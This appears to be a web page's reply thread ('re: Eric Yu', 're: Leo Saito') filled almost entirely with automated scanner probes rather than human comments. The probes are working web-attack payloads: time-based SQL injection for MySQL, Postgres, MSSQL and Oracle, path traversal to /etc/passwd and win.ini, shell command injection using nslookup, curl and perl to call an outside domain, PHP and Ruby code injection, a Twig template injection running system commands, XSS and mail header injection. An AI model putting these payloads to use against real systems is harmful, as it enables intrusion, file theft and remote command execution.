\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Eric Yu
WEB-INF/web.xml
re: Eric Yu
WEB-INF\web.xml
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
${9999279+10000318}
re: Eric Yu
)
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Eric Yu
'.gethostbyname(lc('hitrs'.'xjvklzyc4e015.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(71).chr(119).chr(79).'
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
".gethostbyname(lc("hitcd"."xipuhudyf2bd9.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(79).chr(120).chr(82)."
re: Eric Yu
http://bxss.me/t/fit.txt%3F.jpg
re: Eric Yu
/etc/shells
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
bxss.me
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(111).concat(70).concat(97).concat(76)+(require"socket"
Socket.gethostbyname("hitqm"+"qfzuecklf6ec0.bxss.me.")[3].to_s)+"
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(122).concat(88).concat(98).concat(77)+(require'socket'
Socket.gethostbyname('hityh'+'gbrxruqh3fa6b.bxss.me.')[3].to_s)+'
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
'"
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
<!--
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
-1 OR 2+685-685-1=0+0+0+1 --
re: Eric Yu
-1 OR 3+685-685-1=0+0+0+1 --
re: Eric Yu
-1 OR 2+197-197-1=0+0+0+1
re: Eric Yu
-1 OR 3+197-197-1=0+0+0+1
re: Eric Yu
-1' OR 2+401-401-1=0+0+0+1 --
re: Eric Yu
-1' OR 3+401-401-1=0+0+0+1 --
re: Eric Yu
-1' OR 2+426-426-1=0+0+0+1 or 'QgrH02na'='
re: Eric Yu
-1' OR 3+426-426-1=0+0+0+1 or 'QgrH02na'='
re: Eric Yu
-1" OR 2+599-599-1=0+0+0+1 --
re: Eric Yu
-1" OR 3+599-599-1=0+0+0+1 --
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
t3jmjQQp'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 307=(SELECT 307 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 308=(SELECT 308 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 299=(SELECT 299 FROM PG_SLEEP(15))--
re: Eric Yu
9ZQz1qaR' OR 769=(SELECT 769 FROM PG_SLEEP(15))--
re: Eric Yu
I7svo4cL') OR 221=(SELECT 221 FROM PG_SLEEP(15))--
re: Eric Yu
9MwFPJMs')) OR 199=(SELECT 199 FROM PG_SLEEP(15))--
re: Eric Yu
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@YrHJ5
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1
re: Eric Yu
1KZPLLPO0
re: Eric Yu
response.write(9467761*9432535)
re: Eric Yu
'+response.write(9467761*9432535)+'
re: Eric Yu
"+response.write(9467761*9432535)+"
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
file:///etc/passwd
re: Eric Yu
<esi:include src="http://bxss.me/rpb.png"/>
re: Eric Yu
${10000273+9999159}
re: Eric Yu
../
re: Eric Yu
)
re: Eric Yu
redirtest.acx
re: Eric Yu
!(()&&!|*|*|
re: Eric Yu
^(#$!@#$)(()))******
re: Eric Yu
'.gethostbyname(lc('hitac'.'eiziwehg568d7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(86).chr(120).chr(84).'
re: Eric Yu
echo ycenky$()\ nfbyqk\nz^xyu||a #' &echo ycenky$()\ nfbyqk\nz^xyu||a #|" &echo ycenky$()\ nfbyqk\nz^xyu||a #
re: Eric Yu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Eric Yu
".gethostbyname(lc("hitqx"."uqhfctqd605f5.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(71).chr(115).chr(76)."
re: Eric Yu
&echo vgvhln$()\ xnezby\nz^xyu||a #' &echo vgvhln$()\ xnezby\nz^xyu||a #|" &echo vgvhln$()\ xnezby\nz^xyu||a #
re: Eric Yu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Eric Yu
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Eric Yu
gethostbyname(lc('hitha'.'mpvpgxkyd7298.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(78).chr(100).chr(78)
re: Eric Yu
|echo snzbgz$()\ bzoagw\nz^xyu||a #' |echo snzbgz$()\ bzoagw\nz^xyu||a #|" |echo snzbgz$()\ bzoagw\nz^xyu||a #
re: Eric Yu
/etc/shells
re: Eric Yu
../../../../../../../../../../../../../../etc/shells
re: Eric Yu
expr 9000359148 - 937173
re: Eric Yu
c:/windows/win.ini
re: Eric Yu
(nslookup -q=cname hitlosvxirxdl01e1e.bxss.me||curl hitlosvxirxdl01e1e.bxss.me))
re: Eric Yu
bxss.me
re: Eric Yu
$(nslookup -q=cname hitrtqnedqbap57999.bxss.me||curl hitrtqnedqbap57999.bxss.me)
re: Eric Yu
Http://bxss.me/t/fit.txt
re: Eric Yu
&nslookup -q=cname hitojfxloupjkc5a3d.bxss.me&'\"`0&nslookup -q=cname hitojfxloupjkc5a3d.bxss.me&`'
re: Eric Yu
http://bxss.me/t/fit.txt?.jpg
re: Eric Yu
&(nslookup -q=cname hityihczyxabp0e0d9.bxss.me||curl hityihczyxabp0e0d9.bxss.me)&'\"`0&(nslookup -q=cname hityihczyxabp0e0d9.bxss.me||curl hityihczyxabp0e0d9.bxss.me)&`'
re: Eric Yu
|(nslookup -q=cname hitgrplpvqdar365f5.bxss.me||curl hitgrplpvqdar365f5.bxss.me)
re: Eric Yu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Eric Yu
`(nslookup -q=cname hittcgfalkbau190ea.bxss.me||curl hittcgfalkbau190ea.bxss.me)`
re: Eric Yu
';print(md5(31337));$a='
re: Eric Yu
;(nslookup -q=cname hitllxhpwkypvb7cc8.bxss.me||curl hitllxhpwkypvb7cc8.bxss.me)|(nslookup -q=cname hitllxhpwkypvb7cc8.bxss.me||curl hitllxhpwkypvb7cc8.bxss.me)&(nslookup -q=cname hitllxhpwkypvb7cc8.bxss.me||curl hitllxhpwkypvb7cc8.bxss.me)
re: Eric Yu
";print(md5(31337));$a="
re: Eric Yu
HttP://bxss.me/t/xss.html?%00
re: Eric Yu
|(nslookup${IFS}-q${IFS}cname${IFS}hitngambgykjo85ce6.bxss.me||curl${IFS}hitngambgykjo85ce6.bxss.me)
re: Eric Yu
${@print(md5(31337))}
re: Eric Yu
bxss.me/t/xss.html?%00
re: Eric Yu
&(nslookup${IFS}-q${IFS}cname${IFS}hitxzrlssfjal94736.bxss.me||curl${IFS}hitxzrlssfjal94736.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxzrlssfjal94736.bxss.me||curl${IFS}hitxzrlssfjal94736.bxss.me)&`'
re: Eric Yu
${@print(md5(31337))}\
re: Eric Yu
'.print(md5(31337)).'
re: Eric Yu
'"()
re: Eric Yu
"+"A".concat(70-3).concat(22*4).concat(102).concat(88).concat(117).concat(86)+(require"socket"
Socket.gethostbyname("hitmf"+"cubzpcao21f0e.bxss.me.")[3].to_s)+"
re: Eric Yu
'&&sleep(27*1000)*vzlbcd&&'
re: Eric Yu
'+'A'.concat(70-3).concat(22*4).concat(111).concat(84).concat(104).concat(72)+(require'socket'
Socket.gethostbyname('hitvz'+'ivxzsrkeddc65.bxss.me.')[3].to_s)+'
re: Eric Yu
"&&sleep(27*1000)*bgkbol&&"
re: Eric Yu
'A'.concat(70-3).concat(22*4).concat(117).concat(73).concat(118).concat(79)+(require'socket'
Socket.gethostbyname('hitmf'+'vrsxfcqn13e42.bxss.me.')[3].to_s)
re: Eric Yu
'||sleep(27*1000)*lcrpjh||'
re: Eric Yu
"||sleep(27*1000)*leeyfa||"
re: Eric Yu
'"
re: Eric Yu
replies
re: Eric Yu
<!--
re: Eric Yu
replies
re: Eric Yu
replies/.
re: Eric Yu
'"()&%<zzz><ScRiPt >8LRS(9503)</ScRiPt>
re: Eric Yu
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitkcjfwswnje757fe.bxss.me")}}
re: Eric Yu
'"()&%<zzz><ScRiPt >8LRS(9753)</ScRiPt>
re: Eric Yu
9669533
re: Eric Yu
iKS6yNQn
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
nRGLgl1I'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 258=(SELECT 258 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 851=(SELECT 851 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 271=(SELECT 271 FROM PG_SLEEP(15))--
re: Eric Yu
SyXyf18U' OR 578=(SELECT 578 FROM PG_SLEEP(15))--
re: Eric Yu
jch1Vz7p') OR 450=(SELECT 450 FROM PG_SLEEP(15))--
re: Eric Yu
N6F1W2sC')) OR 219=(SELECT 219 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@3bkij
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
RUddat7j
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
D4LWV0Y8'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 650=(SELECT 650 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 855=(SELECT 855 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 914=(SELECT 914 FROM PG_SLEEP(15))--
re: Eric Yu
9t09AIil' OR 546=(SELECT 546 FROM PG_SLEEP(15))--
re: Eric Yu
L2h4Hh6W') OR 461=(SELECT 461 FROM PG_SLEEP(15))--
re: Eric Yu
Zeyr7GmJ')) OR 622=(SELECT 622 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@PH5Ti
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
re: Eric Yu
F4bNwUuR
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+735-735-1=0+0+0+1
re: Eric Yu
-1 OR 3+735-735-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
CrTpxUiU'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 544=(SELECT 544 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 704=(SELECT 704 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 262=(SELECT 262 FROM PG_SLEEP(15))--
re: Eric Yu
RaCie1G9' OR 124=(SELECT 124 FROM PG_SLEEP(15))--
re: Eric Yu
JoIius5a') OR 758=(SELECT 758 FROM PG_SLEEP(15))--
re: Eric Yu
bttwEJiX')) OR 689=(SELECT 689 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@FH10t
re: Eric Yu
2iJDDh5I
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
*1
re: Eric Yu
-1 OR 5*5=25 --
re: Eric Yu
-1 OR 5*5=26 --
re: Eric Yu
-1 OR 5*5=25
re: Eric Yu
-1 OR 5*5=26
re: Eric Yu
*if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
-1 waitfor delay '0:0:15' --
re: Eric Yu
IVa8ZjSA'; waitfor delay '0:0:15' --
re: Eric Yu
-1 OR 793=(SELECT 793 FROM PG_SLEEP(15))--
re: Eric Yu
-1) OR 600=(SELECT 600 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 529=(SELECT 529 FROM PG_SLEEP(15))--
re: Eric Yu
vpiT9JzF' OR 844=(SELECT 844 FROM PG_SLEEP(15))--
re: Eric Yu
LEn1B3Gi') OR 610=(SELECT 610 FROM PG_SLEEP(15))--
re: Eric Yu
afQgQ1a9')) OR 650=(SELECT 650 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
'"
re: Eric Yu
@@aRKd8
re: Eric Yu
(select 198766*667891)
re: Eric Yu
(select 198766*667891 from DUAL)
It would be below ponta and above hassegawa.
re: Leo Saito
BpNhVj0p
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+568-568-1=0+0+0+1
re: Leo Saito
-1 OR 3+568-568-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
0LEXKDju'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 828=(SELECT 828 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 470=(SELECT 470 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
re: Leo Saito
ZfzMlgII' OR 654=(SELECT 654 FROM PG_SLEEP(15))--
re: Leo Saito
jKUkM6XZ') OR 144=(SELECT 144 FROM PG_SLEEP(15))--
re: Leo Saito
NG359xH1')) OR 76=(SELECT 76 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@4LpX5
re: Leo Saito
4MJZUxfr
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+37-37-1=0+0+0+1
re: Leo Saito
-1 OR 3+37-37-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
Dqy5CxKo'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 714=(SELECT 714 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 758=(SELECT 758 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 580=(SELECT 580 FROM PG_SLEEP(15))--
re: Leo Saito
UFdPXMnl' OR 55=(SELECT 55 FROM PG_SLEEP(15))--
re: Leo Saito
jArFRfOA') OR 120=(SELECT 120 FROM PG_SLEEP(15))--
re: Leo Saito
SUjRuMei')) OR 693=(SELECT 693 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@XVHbc
re: Leo Saito
1D9NQFBrO
re: Leo Saito
response.write(9467261*9444382)
re: Leo Saito
'+response.write(9467261*9444382)+'
re: Leo Saito
"+response.write(9467261*9444382)+"
re: Leo Saito
%0abcc:074625.67-10194.67.3b188.19990.2@bxss.me
re: Leo Saito
to@example.com>%0d%0abcc:074625.67-10195.67.3b188.19990.2@bxss.me
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
file:///etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../../proc/version
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Leo Saito
${9999560+9999145}
re: Leo Saito
../../../../../../../../../../etc/passwd%00.jpg
re: Leo Saito
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Leo Saito
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Leo Saito
echo jpfrtn$()\ kucwps\nz^xyu||a #' &echo jpfrtn$()\ kucwps\nz^xyu||a #|" &echo jpfrtn$()\ kucwps\nz^xyu||a #
re: Leo Saito
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Leo Saito
&echo sllemf$()\ mnocsp\nz^xyu||a #' &echo sllemf$()\ mnocsp\nz^xyu||a #|" &echo sllemf$()\ mnocsp\nz^xyu||a #
re: Leo Saito
/etc/passwd
re: Leo Saito
|echo atbfmz$()\ znckaq\nz^xyu||a #' |echo atbfmz$()\ znckaq\nz^xyu||a #|" |echo atbfmz$()\ znckaq\nz^xyu||a #
re: Leo Saito
%2fetc%2fpasswd
re: Leo Saito
(nslookup hitlfofsoecjlbe87d.bxss.me||perl -e "gethostbyname('hitlfofsoecjlbe87d.bxss.me')")
re: Leo Saito
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Leo Saito
)
re: Leo Saito
$(nslookup hitileyminfng43532.bxss.me||perl -e "gethostbyname('hitileyminfng43532.bxss.me')")
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
&nslookup hityqmsktcvve46cef.bxss.me&'\"`0&nslookup hityqmsktcvve46cef.bxss.me&`'
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
&(nslookup hitygsizoeunl5eb9a.bxss.me||perl -e "gethostbyname('hitygsizoeunl5eb9a.bxss.me')")&'\"`0&(nslookup hitygsizoeunl5eb9a.bxss.me||perl -e "gethostbyname('hitygsizoeunl5eb9a.bxss.me')")&`'
re: Leo Saito
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Leo Saito
|(nslookup hitoabvdjwmbe35532.bxss.me||perl -e "gethostbyname('hitoabvdjwmbe35532.bxss.me')")
re: Leo Saito
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Leo Saito
`(nslookup hitccmuyrixcra182a.bxss.me||perl -e "gethostbyname('hitccmuyrixcra182a.bxss.me')")`
re: Leo Saito
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Leo Saito
;(nslookup hitbidpdmzuam6ae03.bxss.me||perl -e "gethostbyname('hitbidpdmzuam6ae03.bxss.me')")|(nslookup hitbidpdmzuam6ae03.bxss.me||perl -e "gethostbyname('hitbidpdmzuam6ae03.bxss.me')")&(nslookup hitbidpdmzuam6ae03.bxss.me||perl -e "gethostbyname('hitbidpdmzuam6ae03.bxss.me')")
re: Leo Saito
file:///etc/passwd
re: Leo Saito
/\../\../\../\../\../\../\../etc/passwd
re: Leo Saito
/WEB-INF/web.xml
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: Leo Saito
C:\WINDOWS\system32\drivers\etc\hosts
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Leo Saito
../../../../../../../../../../windows/win.ini%00.jpg
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
'.gethostbyname(lc('hitbn'.'ogfxkcgu16f28.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(86).chr(109).chr(73).'
re: Leo Saito
/../../../../../../../../../../boot.ini
re: Leo Saito
http://bxss.me/t/fit.txt%3F.jpg
